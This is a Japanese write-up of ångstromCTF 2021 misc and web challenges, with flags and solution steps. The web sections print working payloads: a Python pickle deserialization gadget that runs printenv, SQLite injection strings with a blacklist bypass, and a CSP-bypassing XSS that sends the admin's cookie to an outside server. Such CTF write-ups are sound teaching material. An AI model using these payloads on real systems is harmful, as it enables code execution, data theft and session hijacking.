ångstromCTF 2021 writeup[Web,Misc]

問題ファイルや私が書いたコードは(https://github.com/Vegctrp/CTFs/tree/master/angstrom2021)にあります。

Sanity Check(Misc, 5pts, 863solves)

言われた通りdiscord鯖に入ると、generalチャンネルの説明文にflagがあります。
actf{always_gonna_give_you_up}

Survey(Misc, 5pts, 290solves)

言われた通りgoogleフォームで感想を書きましょう。
actf{roly_poly_fish_heads_are_never_seen_drinking_cappuccino_in_italian_restaurants_with_oriental_women_yeah}

Archaic(Misc, 50pts, 869solves)

tar -xzvfするだけ。
actf{thou_hast_uncovered_ye_ol_fleg}

fish(Misc, 60pts, 770solves)

「青い空を見上げればいつもそこに白い猫」で「アルファチャンネルを無効化」をしました。
actf{in_the_m0rning_laughing_h4ppy_fish_heads_in_th3_evening_float1ng_in_your_soup}

Float On(Misc, 130pts, 215solves)

union cast {uint64_t uint; double dbl;};にuintから数字を入力して、dblから読んだdouble型の値が与えられた式を満たすようにします。その式というのが

  • x == -x
  • x != x
  • x + 1 == x && x * 2 == x
  • x + 1 == x && x * 2 != x
  • (1 + x) - 1 != 1 + (x - 1)

です。一番目は0を入れればよく、四番目はデカい数を入れれば丸めが発生するので通りそうな気がするとして、他3つは直観的には無理な気がします。

しかし、C ユーザーズガイド 付録 A ANSI C データ表現を見るとわかるのですが、実はCのdouble型にはNaN,-INF,+INFという特殊な値があります。こいつらを使って、

  • 0 == -0
  • NaN != NaN
  • INF + 1 == INF && INF * 2 == INF
  • x + 1 == x && x * 2 != x (このxINFほどではないがバカでかい数)
  • (1 + NaN) - 1 != 1 + (NaN - 1)

とできるので勝ちです。私は
0, 9221120237041090559, 9218868437227405312, 9209861237972664320, 9221120237041090559を順に入れることでflagをゲットしました。
actf{well_we'll_float_on,_big_points_are_on_the_way}です。

Jar(Web, 70pts, 349solves)

ソースコードを読むと、入力文のリストをpythonのpickleでdumpし、base64でエンコードしたものをCookieにセットしています。ここで、ヒントにもあるようにpickleに関するdocumentには注意書きとして

Warning: The pickle module is not secure. Only unpickle data you trust.

と書かれています。ということでpickleで固められている入力文のリストに悪いオブジェクトを交ぜて、展開して読ませるときに発火させたい気持ちになります。

def jar():
	contents = request.cookies.get('contents')
	if contents: items = pickle.loads(base64.b64decode(contents))
	else: items = []
	return '<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button><img style="width: 100%; height: 100%" src="/pickle.jpg">' + \
		''.join(f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>' for item in items)

似たようなことをしているpickleを利用した任意のコード実行とPython Web Frameworkを参考に

class getpasswd(object):
    def __reduce__(self):
        return (subprocess.check_output, (('printenv'),))

items = [getpasswd()]

とし、このitemをpickleで固めてb64encodeしたものを投げるとgetpasswd()が発火してprintenvの結果を吐いてくれます。ここにflagが入っているので勝ちです。

actf{you_got_yourself_out_of_a_pickle}

Sea of Quills(Web, 70pts, 376solves)

コードを読むと db.execute("select %s from quills limit %s offset %s" % [cols, lim, off]) とあるので、SQLite3のSQLiです。ただしlim,offは/^[0-9]+$/なので混ぜ物はできません。一方colsはblacklist = ["-", "/", ";", "'", "\""]さえ入っていなければ何を入れても良いので、ここを起点にします。

まずは"quills"テーブル以外にflagが載っているテーブルがあるはずなので、それを探します。どうやらSQLiteではsqlite_masterテーブルに全テーブルの情報が載っているらしいので、これを使います。というわけで、
cols, lim, off = "tbl_name,rootpage,sql from sqlite_master union all select url,desc,name", "100", "0"を入れてみると、実行されるSQL文は
select tbl_name,rootpage,sql from sqlite_master union all select url,desc,name from quills limit 100 offset 0となり、以下が見えます。

  • quills / 2 / CREATE TABLE quills ( url varchar(30), name varchar(30), desc varchar(30) )
  • flagtable / 3 / CREATE TABLE flagtable ( flag varchar(30) )

よって"flagtable"テーブルが存在し、その"flag"カラムを見ればよいです。
cols, lim, off = "1,1,flag from flagtable union all select url,desc,name", "100", "0"を入れるとflagが見えます。

actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}

Sea of Quills 2(Web, 160pts, 150solves)

上のSea of Quillsの続きです。今回はcolsの制限が強化されており、文字数が24文字以下かつblacklist = ["-", "/", ";", "'", "\"", "flag"]となっています。

いろいろ調べていたら、実はnull文字をいれるとそれ以降が読まれなくなるらしいので、
cols = "* from flagtable%00"とすることで実行されるsql文が"select * from flagtable"となるようです。

次にblacklistにある"flag"の回避ですが、実は大文字小文字の区別をしていないらしいのでcols = "* from Flagtable%00"とすれば通ります。

actf{the_time_we_have_spent_together_riding_through_this_english_denylist_c0776ee734497ca81cbd55ea}

nomnomnom(Web, 130pts, 112solves)

サイト上で報告すると、Adminを識別するcookieをひっさげたAdminが巡回しに来てくれるので、XSSでAdminのcookieを盗むことを考えます。名前にmarqueeタグを入れるとresultページで名前が動くので、名前にscriptを仕込んでAdmin巡回時に発火させられそうな気がします。

しかし、CSP(コンテンツセキュリティポリシー)とかいうのが効いているらしく、scriptタグは決められたnonceを<script nonce=hogefugapiyo></script>のような形で入れておかないと発火しないようになっています。また、nonceの生成タイミングからnonceを予測することも難しいです。

調べているとCSP(コンテンツセキュリティポリシー)について調べてみたにたどり着きました。Dangling Markup Injection Attackというものがあるらしく、記事の例では<script src="data:text/javascript,alert('XSS')"のように右側の山かっこが閉じていない入力を入れることで
<script src="data:text/javascript,alert('XSS')" <script="" nonce="hogefugapiyo">正規の関数()</script>となりalertが発火するというものです。ちょうどvisiterがfirefoxを使っており、この攻撃が通ります。

ということで、名前を<script src="data:text/javascript,location.href='http://myserver?cookie='+encodeURIComponent(document.cookie);"にすることでAdminのcookieを窃取できます。

actf{w0ah_the_t4g_n0mm3d_th1ng5}